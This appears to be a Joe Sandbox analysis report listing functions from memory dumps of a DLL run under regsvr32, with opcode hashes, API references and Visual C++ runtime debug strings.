Instruction ID: 3bfbec68728c413781f4eceae801228648357d86044db0a2bb780f5116396d21
Opcode Fuzzy Hash: c2a73fccebe1b17c37a08eaad88bc03e676d8e4e44166d1bd6bc2a62feffe697
Instruction Fuzzy Hash: 4951B5B190074E8FCB48DFA8D88A5DE7BB1FB48348F04861DE826A7350D3B49564CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014E98 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4330d8994c454f3a4ce2cb979804135e217ee49caa662d464dea2a0ef5ce2a30
Instruction ID: 53b90e1c5486c9cc5d3a4e2843fa79abd377b3644fddba8a35b35de5b3b72a9d
Opcode Fuzzy Hash: 4330d8994c454f3a4ce2cb979804135e217ee49caa662d464dea2a0ef5ce2a30
Instruction Fuzzy Hash: AA51A4B590038E8FCF48DF64C88A5DE7BB1FB48348F014A19E86AA6350D7B4D665CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180003D18 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6e19dd2ecc4b4f98e7bd80107de5ee987440c0ef4aaf5382ea96953c73351d3
Instruction ID: e1ff16132d2196f3f75472eef2dbafaed56c0de40c9f91af0ed0f4743424dce2
Opcode Fuzzy Hash: f6e19dd2ecc4b4f98e7bd80107de5ee987440c0ef4aaf5382ea96953c73351d3
Instruction Fuzzy Hash: 7241E3B190034A8FCB48CF68C8865DE7FB1FB58358F10861DE85AAA360D77496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018FE8 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00ebc5b3581f268e1dca31b076cde8af601d69c20f797ec800b8524e8aca152a
Instruction ID: 71fd5f9204d30feec7a15df1bf9f79d56724cbe4fb23e8fa5a2523106a8ad13f
Opcode Fuzzy Hash: 00ebc5b3581f268e1dca31b076cde8af601d69c20f797ec800b8524e8aca152a
Instruction Fuzzy Hash: 2C51B2B080034E9FCB48CFA8D48A4DEBFF0FB58398F245619E859A6250D3749695CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800011F4 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f4f6e8d1d7fb1cefad6bab8572f86962bf991beacb3f1c3af335354cec980e2
Instruction ID: 13dd754d1e7aaa458ccf3f25f1a53950ed55eb7a2af7c94b5f3f3eca6f4c7b71
Opcode Fuzzy Hash: 1f4f6e8d1d7fb1cefad6bab8572f86962bf991beacb3f1c3af335354cec980e2
Instruction Fuzzy Hash: 4141B3B090434E8FCB48DF68C48A4CE7FB0FB58398F204619E856A6250D3B496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180003460 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b99b47e9b962ad4e889b98a468eb4c97838fe937d78fd3ed328a07435872d91a
Instruction ID: 25ea7a1fae7cee08e525b2e53d13b9e761fafe3c3046f9c16da3d4363f6b727f
Opcode Fuzzy Hash: b99b47e9b962ad4e889b98a468eb4c97838fe937d78fd3ed328a07435872d91a
Instruction Fuzzy Hash: 7641F0B090078E8BCF48CF68C88A4DE7FB0FB48358F54461DE86AA6350D3B49664CF85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000406C Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83981cbbf60b78e7deea3e04e91402b42a32efa8c5dfd88cb8f56556e6fb0c3c
Instruction ID: 2f3c92175ef08bfcd336efc03048a581a759bd19a61f5d08681f8b59d2b4a65d
Opcode Fuzzy Hash: 83981cbbf60b78e7deea3e04e91402b42a32efa8c5dfd88cb8f56556e6fb0c3c
Instruction Fuzzy Hash: CA41EF70508B898FE3A8DF29C48950BBBF2FBC5354F104A1DF69686360D7B5D845CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019788 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94030778b375274538e88af110c4c71a5f626c7493089532c44927a023a09910
Instruction ID: 881360cf52284626b478287e7223753f8540b5b8a242225130398fb52c45b4e6
Opcode Fuzzy Hash: 94030778b375274538e88af110c4c71a5f626c7493089532c44927a023a09910
Instruction Fuzzy Hash: 9141B1B090034E8FCF48CF68C48A5DEBFB0FB68398F214619E855A6250D3B496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001B6D4 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93974b6d4f6273d20610df347467165d2a5c3046e1daec97411395bd01693f1f
Instruction ID: 9c4ff176952ec0d3a7c23327861baecbe751e07bc56d6e6d0065064954d6898b
Opcode Fuzzy Hash: 93974b6d4f6273d20610df347467165d2a5c3046e1daec97411395bd01693f1f
Instruction Fuzzy Hash: D93113B0508B84CBD7B4DF24C08979ABBE0FBC4758F608A1CE5D9C6261DBB4984DDB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012EF8 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 613fb402d6b778ceaf7e513f493c666c428009a0501ff02ca6debf04feb91865
Instruction ID: 2086fc6cf530452ca317dde1c3f5989bf97dc2ab51b7d711b1b7619edf53518f
Opcode Fuzzy Hash: 613fb402d6b778ceaf7e513f493c666c428009a0501ff02ca6debf04feb91865
Instruction Fuzzy Hash: 9A4107B090034D9FCF48DF68C89A5DEBFB1FB48358F10865DE96AA6250D3B49664CF84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E7A0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a391d5f1ee034caf47bfedc7cfbee3ee0130da0d99d6425c5f03999ced993457
Instruction ID: 1338ccaed59e81eda3dfb0132a5285c9e75a0d4e8ad1c64b0ac71650cc1258ea
Opcode Fuzzy Hash: a391d5f1ee034caf47bfedc7cfbee3ee0130da0d99d6425c5f03999ced993457
Instruction Fuzzy Hash: 5541E4B190075ECFCF44CFA8D88A4CE7BF0FB08358F144619E869A6210D3B49658CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010C84 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd33be4bf54c8c25dddb299aef1f30db163f836ea6c92e4bd2e4a70074cec26c
Instruction ID: 90c54515c462ca516bd1a7834683e0366852147f904ce70d700c1fd94530822e
Opcode Fuzzy Hash: fd33be4bf54c8c25dddb299aef1f30db163f836ea6c92e4bd2e4a70074cec26c
Instruction Fuzzy Hash: D33198B16187848BD788DF28D44941ABBE1FBDC30CF405B1DF4CAAA360D7789644CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800247FC Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dc2512c0ff6dc22a4fb7ff1d0ea1563faee4dc38c2ddbd287c0bb24e1b40528
Instruction ID: 9655ad274102c7f9d75b202b541ab5cd2305fe15ce58f1dcda736dbe1a9cecaf
Opcode Fuzzy Hash: 4dc2512c0ff6dc22a4fb7ff1d0ea1563faee4dc38c2ddbd287c0bb24e1b40528
Instruction Fuzzy Hash: 3B2146B46183858B8389DF28D04A41ABBE1FBCC308F905B1DF4CAAB254D77896558B4B

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000EAC0 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 443cbba6f5f89cfce6496fb7e303af42859a42b87001d497a7063cf79c72ec44
Instruction ID: 28a8b9ee08791f4b35668e747dad36529c2fac2b53c208ad34d18e94405bcf7a
Opcode Fuzzy Hash: 443cbba6f5f89cfce6496fb7e303af42859a42b87001d497a7063cf79c72ec44
Instruction Fuzzy Hash: 8E21D870529784ABC788DF18C58A55ABBF0FBC5758F80691DF8C686251C7B4D906CB43

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001479C Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b24567682a71932b9bd3cac4b142caf72f763870487d30b345218c61caa1d775
Instruction ID: 3473a0eaf58d43c1d16632198f29a9e85fcf3b0d6ee31105f780c840bc6bd29d
Opcode Fuzzy Hash: b24567682a71932b9bd3cac4b142caf72f763870487d30b345218c61caa1d775
Instruction Fuzzy Hash: 0E2148741087848FC398EF28C08A41BBBE0BB9C35CF400B1DF4CAA7265D7B8D6558B0A

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F7F1 Relevance: 79.1, APIs: 23, Strings: 22, Instructions: 376COMMON

Download Yara Rule

APIs

_itow_s.LIBCMTD ref: 000007FEF9D2F828
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2F855
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F861
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F89B
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8A8
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8B6
OutputDebugStringA.KERNEL32 ref: 000007FEF9D2F8C3
_wcsftime_l.LIBCMTD ref: 000007FEF9D2F939
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2F991
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2F9EF
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FA6B
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FAB2
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FB1F
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FB65
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2FC34
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FC92
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D2FD69
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2FDB6
_unlock.LIBCMTD ref: 000007FEF9D2FEFE

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c, xrefs: 000007FEF9D2F83E, 000007FEF9D2F965, 000007FEF9D2F9D8, 000007FEF9D2FA54, 000007FEF9D2FA9B, 000007FEF9D2FB08, 000007FEF9D2FB4E, 000007FEF9D2FC08, 000007FEF9D2FC7B, 000007FEF9D2FD38, 000007FEF9D2FD9F, 000007FEF9D30076
_VCrtDbgReportA, xrefs: 000007FEF9D2F845, 000007FEF9D2F971, 000007FEF9D2F9DF, 000007FEF9D2FA5B, 000007FEF9D2FAA2, 000007FEF9D2FB0F, 000007FEF9D2FB55, 000007FEF9D2FC14, 000007FEF9D2FC82, 000007FEF9D2FD44, 000007FEF9D2FDA6, 000007FEF9D3007D
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 000007FEF9D2FA62
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 000007FEF9D2F84C, 000007FEF9D30084
Pl, xrefs: 000007FEF9D2FD1B
(*_errno()), xrefs: 000007FEF9D2F97D, 000007FEF9D2FC20
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 000007FEF9D2FDAD
%s(%d) : %s, xrefs: 000007FEF9D2FBC2
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 000007FEF9D2FD78
strcat_s(szLineMessage, 4096, "\n"), xrefs: 000007FEF9D2FB5C
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2FC89
strcat_s(szLineMessage, 4096, "\r"), xrefs: 000007FEF9D2FB16
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2F9E6
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 000007FEF9D2FAA9
Second Chance Assertion Failed: File , xrefs: 000007FEF9D2F85A
e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D2FD50
, Line , xrefs: 000007FEF9D2F8A1
Assertion failed!, xrefs: 000007FEF9D2FA1A
6o, xrefs: 000007FEF9D2FA85
<file unknown>, xrefs: 000007FEF9D2F884
Assertion failed: , xrefs: 000007FEF9D2FA09
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2F9AE, 000007FEF9D2FC51

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$DebugOutputString$_invoke_watson_if_oneof$_itow_s_unlock_wcsftime_l
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")$6o$Pl
API String ID: 242677333-579931786
Opcode ID: a63f40807382e4d475d486b4876b23bc4dd58b7e370bc0180856c528c8acbbda
Instruction ID: e2526957761dd222599413fd0adc35655d47e080d41718875d9293ce759d4dec
Opcode Fuzzy Hash: a63f40807382e4d475d486b4876b23bc4dd58b7e370bc0180856c528c8acbbda
Instruction Fuzzy Hash: FC32E83290CA8695E7B0CB18EC543EE73A0F784345FA04126D6CD47AA9DB7EE549CF81

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2B470 Relevance: 40.5, APIs: 7, Strings: 16, Instructions: 260COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 000007FEF9D2B4E8
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B533
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B5ED

Strings

..., xrefs: 000007FEF9D2B81F
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3), xrefs: 000007FEF9D2B5E4
wcscpy_s(szExeName, 260, L"<program name unknown>"), xrefs: 000007FEF9D2B52A
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B9FC
Expression: , xrefs: 000007FEF9D2B6BE
Module: , xrefs: 000007FEF9D2B84A
(*_errno()), xrefs: 000007FEF9D2B97F
File: , xrefs: 000007FEF9D2B79B
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B9B0
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B9E8
<program name unknown>, xrefs: 000007FEF9D2B4F2
__crtMessageWindowW, xrefs: 000007FEF9D2B523, 000007FEF9D2B5DD, 000007FEF9D2B973, 000007FEF9D2B9E1
Line: , xrefs: 000007FEF9D2B744
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts., xrefs: 000007FEF9D2B655
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B921
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2B51C, 000007FEF9D2B5D6, 000007FEF9D2B967, 000007FEF9D2B9DA

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$FileModuleName
String ID: For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts.$File: $Line: $Module: $(*_errno())$...$<program name unknown>$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Expression: $Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowW$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)$wcscpy_s(szExeName, 260, L"<program name unknown>")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")
API String ID: 1949418964-1840610800
Opcode ID: b12b1314681225994c561f9efc1de4d9c7126b4e593a535ef46bdf2ab838bdf2
Instruction ID: 897ec7a8548006b51d3f4e24293aa6cb0eb1e7b087e1f77fa43b78bf07c27b58
Opcode Fuzzy Hash: b12b1314681225994c561f9efc1de4d9c7126b4e593a535ef46bdf2ab838bdf2
Instruction Fuzzy Hash: 32F1F636609BC294EAB4CB54E8483AEB3E4F384780F604125DACD43BB9DB7ED185CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2AE40 Relevance: 38.7, APIs: 5, Strings: 17, Instructions: 207COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D2D490: _invalid_parameter.LIBCMTD ref: 000007FEF9D2D541

_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2AE81
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2AF35

Strings

memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3), xrefs: 000007FEF9D2AF2C
__crtMessageWindowA, xrefs: 000007FEF9D2AE71, 000007FEF9D2AF25, 000007FEF9D2B2BB, 000007FEF9D2B329
Module: , xrefs: 000007FEF9D2B192
<program name unknown>, xrefs: 000007FEF9D2AE40
(*_errno()), xrefs: 000007FEF9D2B2C7
Expression: , xrefs: 000007FEF9D2B006
Line: , xrefs: 000007FEF9D2B08C
m*, xrefs: 000007FEF9D2AE9E
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B330
File: , xrefs: 000007FEF9D2B0E3
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B269
strcpy_s(szExeName, 260, "<program name unknown>"), xrefs: 000007FEF9D2AE78
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts., xrefs: 000007FEF9D2AF9D
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B344
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B2F8
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2AE6A, 000007FEF9D2AF1E, 000007FEF9D2B2AF, 000007FEF9D2B322
..., xrefs: 000007FEF9D2B167

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$_invalid_parameter
String ID: For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts.$File: $Line: $Module: $(*_errno())$...$<program name unknown>$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Expression: $Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)$strcpy_s(szExeName, 260, "<program name unknown>")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$m*
API String ID: 2356156361-2279852085
Opcode ID: 6f4650fd4357eea9b956771a13d9b8a3362ab7c768ecc2367610c4505c6cb5c5
Instruction ID: d03840f3f998d79993f45302fffdb67e29e7bb822786765b29bb528846abb06c
Opcode Fuzzy Hash: 6f4650fd4357eea9b956771a13d9b8a3362ab7c768ecc2367610c4505c6cb5c5
Instruction Fuzzy Hash: 9DC1E87250DBC681E7B48B15E8403EEA3E1F389784F614126E6CD42BA9DB7ED155CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2CB4F Relevance: 38.7, APIs: 8, Strings: 14, Instructions: 174fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 000007FEF9D2CBF0
WriteFile.KERNEL32 ref: 000007FEF9D2CC8E

Strings

..., xrefs: 000007FEF9D2CE1A
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\crt0msg.c, xrefs: 000007FEF9D2CD21, 000007FEF9D2CD95, 000007FEF9D2CE42, 000007FEF9D2CE87, 000007FEF9D2CECA
wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: "), xrefs: 000007FEF9D2CD2F
<program name unknown>, xrefs: 000007FEF9D2CD68
_NMSG_WRITE, xrefs: 000007FEF9D2CD28, 000007FEF9D2CD9C, 000007FEF9D2CE49, 000007FEF9D2CE8E, 000007FEF9D2CED1
_, xrefs: 000007FEF9D2CE71
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text), xrefs: 000007FEF9D2CED8
Runtime Error!Program: , xrefs: 000007FEF9D2CCF8
2H, xrefs: 000007FEF9D2CDB9
wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3), xrefs: 000007FEF9D2CE50
0I, xrefs: 000007FEF9D2CD0B
Microsoft Visual C++ Runtime Library, xrefs: 000007FEF9D2CEEC
wcscpy_s(progname, progname_size, L"<program name unknown>"), xrefs: 000007FEF9D2CDA3
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n"), xrefs: 000007FEF9D2CE95

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FileHandleWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $_NMSG_WRITE$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\crt0msg.c$wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")$wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)$wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")$wcscpy_s(progname, progname_size, L"<program name unknown>")$wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3)$_$0I$2H
API String ID: 3320372497-2837547082
Opcode ID: bb867b9cd4420929bdb9afde1297a67263cb8f1db9c8fa78cbb90456e5291ccd
Instruction ID: 981f8f0912e596e51d2e9e4fc62e3c1b144262c9e2c6e30392df3237f0075012
Opcode Fuzzy Hash: bb867b9cd4420929bdb9afde1297a67263cb8f1db9c8fa78cbb90456e5291ccd
Instruction Fuzzy Hash: 9491FE31A1CA8685EBA0DB64E8943BE63E0F384784F604126D6CD47AB9DF3FE545CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D312E3 Relevance: 35.1, APIs: 14, Strings: 6, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 000007FEF9D312EA
GetProcAddress.KERNEL32 ref: 000007FEF9D31310

Strings

GetLastActivePopup, xrefs: 000007FEF9D3135E
USER32.DLL, xrefs: 000007FEF9D312E3
GetActiveWindow, xrefs: 000007FEF9D3133C
GetProcessWindowStation, xrefs: 000007FEF9D313B3
GetUserObjectInformationW, xrefs: 000007FEF9D31380
